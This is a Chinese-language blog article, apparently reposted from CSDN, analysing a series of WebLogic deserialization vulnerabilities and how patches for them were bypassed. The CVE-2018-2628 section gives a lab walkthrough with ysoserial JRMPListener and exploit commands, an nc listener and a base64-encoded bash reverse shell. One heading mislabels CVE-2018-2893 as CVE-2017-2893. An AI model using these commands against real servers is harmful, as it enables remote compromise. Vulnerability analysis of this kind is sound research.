缝缝补补的WebLogic绕过的艺术

29次阅读

共计 7335 个字符,预计需要花费 19 分钟才能阅读完成。

前言

目前 Weblogic 在全球的使用量占居前列,据统计,在全球范围内对互联网开放 Weblogic 服务的资产数量多达 35382 台,其中归属中国地区的资产数量为 10562 台。如果爆发一个 Weblogic 高危漏洞,那将会给中国的大量用户带来巨大的灾难。

本文主要介绍了近五年爆发的 Weblogic 反序列化的高危漏洞,一次又一次的修补,一次又一次的绕过,漏洞挖掘者和漏洞防御者之间的博弈从未停止过,而且这种博弈在今后的生活中也将会愈演愈烈。

0×01 Weblogic 简介

Weblogic 是美国 Oracle 公司出品的一个应用服务器 (application server),确切的说是一个基于 Java EE 架构的中间件,是用于开发、集成、部署和管理大型分布式 Web 应用、网络应用和 数据库应用的 Java 应用服务器。

Weblogic 将 Java 的动态功能和 Java Enterprise 标准的安全性引入大型网络应用的开发、集成、部署和管理之中,是商业市场上主要的 Java(Java EE)应用服务器软件之一,也是世界上第一个成功商业化的 Java EE 应用服务器,具有可扩展性、快速开发、灵活、可靠等优势。

在功能性上,Weblogic 是 Java EE 的全能应用服务器,包括 EJB、JSP、servlet、JMS 等,是商业软件里排名第一的容器(JSP、servlet、EJB 等),并提供其他工具(例如 Java 编辑器),因此也是一个综合的开发及运行环境。

在扩展性上,Weblogic Server 凭借其出色的群集技术,拥有处理关键 Web 应用系统问题所需的性能、可扩展性和高可用性。Weblogic Server 既实现了网页群集,也实现了 EJB 组件群集,而且不需要任何专门的硬件或操作系统支持。网页群集可以实现透明的复制、负载平衡以及表示内容容错。无论是网页群集,还是组件群集,对于电子商务解决方案所要求的可扩展性和可用性都是至关重要的。

目前 Weblogic 在全球的使用量也占居前列,据统计,在全球范围内对互联网开放 Weblogic 服务的资产数量多达 35382 台,美国和中国的 Weblogic 的使用量接近 Weblogic 总使用量的 70%,其中归属中国地区的资产数量为 10562 台。

这样的话,如果爆发一个 Weblogic 高危漏洞,那将会给中国的大量用户带来巨大的灾难。

0×02 高危漏洞介绍

Weblogic 漏洞有很多,但是五年之前的大多数漏洞只是小打小闹,对服务器并不能造成巨大的影响。然而,自从 2015 年 11 月 6 日,FoxGlove Security 安全团队的 @breenmachine 在博客中介绍了如何利用 Java 反序列化和 Apache Commons Collections 这一基础类库来攻击最新版的 Weblogic、WebSphere、JBoss 等主流的 Java 服务器,并且都可以实现远程代码执行,Weblogic 变得不再安全。

道高一尺魔高一丈,伴随着 Weblogic 补丁的不断发布,各种的绕过方法也是不断地更新。下面介绍一下近 5 年来让 Oracle 头痛不已的 Weblogic 反序列化漏洞。

高危漏洞主要涉及到两个种类:

利用 xml decoded 反序列化进行远程代码执行的漏洞,例如:CVE-2017-10271,CVE-2017-3506。

利用 java 反序列化进行远程代码执行的漏洞,例如:CVE-2015-4852、CVE-2016-0638、CVE-2016-3510、CVE-2017-3248、CVE-2018-2628、CVE-2018-2894。

xml decoded 反序列化 RCE 漏洞

  1. CVE-2017-3506

此漏洞主要是由于 wls 组件使用了 webservice 来处理 soap 请求,在 weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest 方法中,当 localHeader1 和 localHeader2 都不为 null 时,将会把 <work:WorkContext> 所包含的数据传入 weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld 方法。在此方法中,对 WorkContextXmlInputAdapter 类进行了实例化,并调用 WorkContextXmlInputAdapter 类的构造方法,通过 XMLDecoder() 进行反序列化操作。

weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest 代码如下图所示:

weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld 代码如下图所示:

weblogic.wsee.workarea.WorkContextXmlInputAdapter 代码如下图所示:

CVE-2017-3506 POC

/wls-wsat/CoordinatorPortType

/wls-wsat/RegistrationPortTypeRPC

/wls-wsat/ParticipantPortType

/wls-wsat/RegistrationRequesterPortType

/wls-wsat/CoordinatorPortType11

/wls-wsat/RegistrationPortTypeRPC11

/wls-wsat/ParticipantPortType11

/wls-wsat/RegistrationRequesterPortType11

在上方 8 个路径中任意选择一个路径,将 content-type 改成 text/xml 类型,传入 payload,即可利用漏洞。

在上方的 POC 中,闭合的 <work:WorkContext> 中可以构造任何我们想要执行的命令。在先后引用 java.beans.XMLDecoder、java.lang.ProcessBuilder、java.lang.String 之后,便可以在 index 中设定参数序号,并在 string 标签中传入想要远程执行的命令。

  1. CVE-2017-10271 漏洞

CVE-2017-10271 是基于 CVE-2017-3506 漏洞原理基础上,对 CVE-2017-3506 修复补丁的一次绕过。下图是 CVE-2017-3506 修复补丁的部分代码:

图中红框内的代码是限制 CVE-2017-3506 漏洞利用的黑名单,这次补丁修补得非常的简陋,仅仅是根据 POC 中的 object 标签进行了修补,所以很快就出现了 CVE-2017-10271 漏洞。

CVE-2017-10271 的 POC 与 CVE-2017-3506 的 POC 很相似,只是将 object 标签换成了 array 或 void 等标签,即可触发远程代码执行漏洞。

因此,在 CVE-2017-10271 漏洞爆发之后,Oracle 官方也进行了补丁的完善,这一次的补丁考虑得比较全面,在黑名单中又添加了 new、method、void、array 等关键字进行漏洞修补,成功防御了 CVE-2017-10271 漏洞。

java 反序列化 RCE 漏洞

  1. CVE-2015-4852 漏洞

此漏洞主要是由于 apache 的标准库中 Apache Commons Collections 基础库的 TransformedMap 类。当 TransformedMap 内的 key 或者 value 发生变化时,就会触发相应的 Transformer 的 transform() 方法。同时也可以利用 Transformer 数组来构造 ChainedTransformer,从而触发内部的 InvokerTransformer 类,在这个类中可以利用 java 的反射机制来获得 Runtime.getRuntime().exec 方法,利用这个方法来执行任意命令。

通过 AnnotationInvocationHandler 类来重写 readObject() 方法,并且通过内部的 memberValue.setValue() 方法构造恶意的 TransformedMap 对象,改变 TransformedMap 中的 key 或 value,通过反序列化执行构造的命令。这里推荐大家了解一下 ysoserial 这个工具。

工具中集成了各种 java 反序列化漏洞利用的 payload。下图是 ysoserial 工具中有关于 java 反射机制的代码。

图片中即是利用 Transformer 数组触发 InvokerTransformer 类,利用 java 反射机制获得 Runtime.getRuntime().exec 方法,从而达到执行任意命令的目的。

CVE-2015-4852 POC(序列化)

序列化中的 cmd 字段代表着想要远程执行的命令,使用 python 中 binascii.b2a_hex 函数转换成序列化插在相应的位置上。在这里再为大家推荐一款分析 java 序列化结构的工具——SerializationDumper,下图是通过 SerializationDumper 转换后的序列化的结构:

图中红框内是序列化中插入远程执行命令的序列化,同时对应着序列化解码之后的命令。通过这个分析工具,我们可以准确的找到序列化远程命令插入的位置,以及序列化的结构和引用的函数,让分析 java 反序列化漏洞的 payload 的工作变得更加便利。

  1. CVE-2016-0638 漏洞

此漏洞是基于 CVE-2015-4852 漏洞进行黑名单的绕过,CVE-2015-4852 补丁主要应用在三个位置上:

weblogic.rjvm.InboundMsgAbbrev.class :: ServerChannelInputStream

weblogic.rjvm.MsgAbbrevInputStream.class   

weblogic.iiop.Utils.class

所以如果能找到可以在其 readObject 中创建自己的 InputStream 的对象,并且不是使用黑名单中的 ServerChannelInputStream 和 MsgAbbrevInputStream 的 readExternal 进行的反序列化,最后调用 readObject() 方法进行反序列化的数据的读取,这样就可以执行含有恶意代码的序列化代码。CVE-2016-0638 漏洞就是依据这个思路找到了 weblogic.jms.common.StreamMessageImpl 类,其中的 readExternal() 方法也符合攻击的需求。攻击者可以在其中构造一个恶意的 ObjectInputStream 来实现 payload 内部的 InputStream 创建,调用 readObject() 方法实现攻击。

CVE-2016-0638 POC(序列化)

此漏洞利用方式也应用到了后续要介绍的 CVE-2018-2893 漏洞中。

  1. CVE-2016-3510 漏洞

此漏洞是与 CVE-2016-0638 漏洞利用方式相似,只是选择了 weblogic.corba.utils.MarshalledObject 进行绕过,绕过之前的 CVE-2015-4852 和 CVE-2016-0638 漏洞的修复补丁。

CVE-2016-3510 POC(序列化)

CVE-2016-3510 的 POC 中插入的想要执行的命令的形式很特殊,必须要插入类似于 bash -c {echo,bmMgLW52IDE5Mi4xNjguMTYuMSA0MDQw}|{base64,-d}|{bash,-i} 这种形式的命令才可以达到攻击效果,这是因为使用了 java.lang.Runtime.exec(String) 语句而导致的一些限制。首先是不支持 shell 操作符,如输出重定向以及管道。其次是传递给 payload 命令的参数中不能包含空格。

4.CVE-2017-3248 漏洞

CVE-2017-3248 漏洞爆发之前,Apache Commons Collections 基础的漏洞已经进行修补,所以 CVE-2017-3248 漏洞利用方法与之前三个漏洞不同,这次主要是利用了 JRMP Java 远程方法协议。利用 java.rmi.registry.Registry,序列化 RemoteObjectInvocationHandler,并使用 UnicastRef 和远端建立 tcp 连接,获取 RMI registry,最终将加载的内容利用 readObject() 进行解析,导致之前序列化的恶意代码执行。下图是 ysoserial 中相应的 payload:

CVE-2017-3248 POC(序列化)

下图是经过 SerializationDumper 工具转换后的 payload 结构:

图中红框内标注的则是负责连接监听端口的 payload,这个 payload 的作用,笔者会在下面的 CVE-2018-2628 漏洞中进行操作和解释的。

  1. CVE-2018-2628 漏洞

CVE-2018-2628 漏洞与 CVE-2017-3248 漏洞利用方法类似,仅仅更换了使用的 rmi 接口,用 java.rmi.activation.Activator 替换了 CVE-2017-3248 所使用的 java.rmi.registry.Registry,从而绕过 resolveProxyClass 的判断,成功绕过了 CVE-2017-3248 漏洞的修复补丁。其他攻击流程相同。

CVE-2018-2628 POC(反序列化)

下图是经过 SerializationDumper 工具转换后的 payload 结构:

图中红框内标注的则是负责连接监听端口的 payload。下面介绍一下利用 CVE-2018-2628 漏洞的方法(同样也适用于 CVE-2017-3248)。

环境:

192.168.16.1 (nc 开启监听端口,为了验证远程代码攻击是否成功,同时也是进行 CVE-2018-2628 漏洞攻击的攻击机)

192.168.16.2 (开启存在 CVE-2018-2628 漏洞的 Weblogic 服务的服务器,被攻击的目标)

192.168.16.3 (利用 JRMPListener 开启监听端口)

服务器 192.168.16.2(Weblogic-10.3.6.0) 开启 Weblogic 服务:

192.168.16.3 中执行:

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099

CommonsCollections5 ‘bash -c

{echo,bmMgLW52IDE5Mi4xNjguMTYuMSA0MDQw}|{base64,-d}|{bash,-i} 指令通过 ysoserial 工具生成 payload(注意,这里的指令需要是 bash -c {echo,BASE64}|{base64,-d}|{bash,-i} 格式,这里贴出一个生成这种格式的在线网站:http://jackson.thuraisamy.me/…)。

192.168.16.1 中执行:

nc -nlvp 4040 开启服务进行监听 4040 端口;

python exploit.py 192.168.16.2 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.16.3 1099 JRMPClient2 指令执行 payload。

至此,整套攻击流程就已经执行完毕。剩下的只需要等待着服务器连接到攻击机,漏洞就利用成功了。

  1. CVE-2017-2893 漏洞

CVE-2018-2893 漏洞,同样是对 resolveProxyClass 函数进行绕过,导致攻击者可以利用 UnicastRef 和远端建立 tcp 连接,获取 RMI registry,再将加载的内容利用 readObject 解析,从而造成反序列化远程代码执行。

CVE-2018-2893 漏洞绕过方式是利用 StreamMessageImpl 对 ysoserial 工具中的 JRMPClient 生成的 payloadObject 进行封装,由于 StreamMessageImpl 在进行反序列化时并不会被 resolveProxyClass 检测,导致绕过的产生,最后成功的进行了反序列化攻击。

下面的两张图片分别是 streamMessageImpl 的封装和 JRMPClient:

CVE-2018-2893 POC(序列化)

CVE-2018-2893 的 POC 相当于 CVE-2016-0638 和 CVE-2017-3248 的结合体,将 CVE-2016-0638 的 StreamMessageImpl 类封装 CVE-2017-3248 的 JRMPClient,从而形成了 CVE-2018-2893 的 POC。

0×03 展望

以上主要介绍了近五年爆发的 Weblogic 反序列化的高危漏洞,一次又一次的修补,一次又一次的绕过,漏洞挖掘者和漏洞防御者之间的博弈从未停止过,而且这种博弈在今后的生活中也将会愈演愈烈。

目前 Weblogic 的修补措施还只是将网上流传的 POC 中比较危险的函数写入黑名单加以控制,但是这些被限制的函数会有许许多多的替代函数,而且每一个替代函数都会轻轻松松地绕过黑名单,造成新的 Weblogic 反序列化漏洞的形成。如果 Weblogic 仅仅局限于修补发布的 POC,那么补丁的绕过很有可能会一直进行下去。修补与绕过,下一个漏洞才是最精彩的!

作为漏洞分析研究员,我们的职责就是深度剖析漏洞原理,并且思考是否有其他的利用方式。这是一场白帽子与黑帽子之间的时间赛跑,我们要抢夺先机,提前发现漏洞利用的手段,防止其他黑帽子通过网络攻击干扰我们正常的生活。

Weblogic 漏洞在修复与绕过的交相呼应下变得精彩,而又富有艺术。网络安全在防御与攻击的博弈中也变得迷人,而又富有魅力。同时,也正是因为这种博弈,我们的网络环境才会变得更加安全,更加坚不可摧。

作者:CanMengBlog
来源:CSDN
原文:https://blog.csdn.net/weixin_…
版权声明:本文为博主原创文章,转载请附上博文链接!

正文完
 0